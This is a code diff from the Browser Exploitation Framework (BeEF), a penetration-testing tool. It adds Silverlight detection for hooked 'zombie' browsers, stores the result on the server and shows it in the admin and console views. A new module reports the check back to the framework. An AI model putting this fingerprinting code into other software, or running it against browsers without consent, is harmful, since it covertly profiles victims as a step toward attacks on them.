Add 'beef.browser.hasSilverlight()'

Add 'modules/browser/detect_silverlight'

core/main/client/browser.js

@@ -988,6 +988,7 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
 		var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
 		var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
 		var has_activex = (beef.browser.hasActiveX())? "Yes":"No";
+		var has_silverlight = (beef.browser.hasSilverlight())? "Yes":"No";
 		var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie"))? "Yes":"No";
 		var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie"))? "Yes":"No";
 
@@ -1016,6 +1017,7 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
 		if(has_web_socket) details['HasWebSocket'] = has_web_socket
 		if(has_googlegears) details['HasGoogleGears'] = has_googlegears
 		if(has_activex) details['HasActiveX'] = has_activex;
+		if(has_silverlight) details['HasSilverlight'] = has_silverlight;
 		if(has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
 		if(has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
 
@@ -1023,12 +1025,32 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
 	},
 
 	/**
-	 * Returns boolean value depending on whether the browser support ActiveX
+	 * Returns boolean value depending on whether the browser supports ActiveX
 	 */
 	hasActiveX: function() {
 		return !!window.ActiveXObject;
 	},
 
+	/**
+	 * Returns boolean value depending on whether the browser supports Silverlight
+	 */
+	hasSilverlight: function() {
+		var result = false;
+
+		try {
+			if (beef.browser.isIE()) {
+				var slControl = new ActiveXObject('AgControl.AgControl');
+				result = true;
+			} else if (navigator.plugins["Silverlight Plug-In"]) {
+				result = true;
+			}
+		} catch (e) {
+			result = false;
+		}
+
+		return result;
+	},
+
 	/**
 	 * Returns array of results, whether or not the target zombie has visited the specified URL
 	 */

core/main/handlers/browserdetails.rb

@@ -255,6 +255,14 @@ module BeEF
             self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
           end
 
+          # get and store the yes|no value for HasSilverlight
+          has_silverlight = get_param(@data['results'], 'HasSilverlight')
+          if BeEF::Filters.is_valid_yes_no?(has_silverlight)
+            BD.set(session_id, 'HasSilverlight', has_silverlight)
+          else
+            self.err_msg "Invalid value for Silverlight returned from the hook browser's initial connection."
+          end
+
           # get and store the value for CPU
           cpu_type = get_param(@data['results'], 'CPU')
           if !cpu_type.nil?

extensions/admin_ui/controllers/modules/modules.rb

@@ -405,6 +405,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
         'from' => 'Initialization'
       }
 
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
+
+    # set and add the yes|no value for HasSilverlight
+    has_silverlight = BD.get(zombie_session, 'HasSilverlight')
+    if not has_silverlight.nil?
+      encoded_has_silverlight = CGI.escapeHTML(has_silverlight)
+      encoded_has_silverlight_hash = { 'Has Silverlight' => encoded_has_silverlight }
+
+      page_name_row = {
+        'category' => 'Browser',
+        'data' => encoded_has_silverlight_hash,
+        'from' => 'Initialization'
+      }
+
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
 

extensions/console/lib/shellinterface.rb

@@ -617,6 +617,21 @@ class ShellInterface
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
 
+    # set and add the yes|no value for HasSilverlight
+    has_silverlight = BD.get(zombie_session, 'HasSilverlight')
+    if not has_silverlight.nil?
+      encoded_has_silverlight = CGI.escapeHTML(has_silverlight)
+      encoded_has_silverlight_hash = { 'Has Silverlight' => encoded_has_silverlight }
+
+      page_name_row = {
+        'category' => 'Browser',
+        'data' => encoded_has_silverlight_hash,
+        'from' => 'Initialization'
+      }
+
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
+
     # set and add the value for CPU
     cpu_type = BD.get(zombie_session, 'CPU')
     if not cpu_type.nil?

modules/browser/detect_silverlight/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasSilverlight())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "silverlight="+result);
+
+});
+

modules/browser/detect_silverlight/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_silverlight:
+            enable: true
+            category: "Browser"
+            name: "Detect Silverlight"
+            description: "This module will check if the browser has Silverlight support."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]

modules/browser/detect_silverlight/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_silverlight < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['silverlight'] = @datastore['silverlight']
+		save content
+	end
+
+end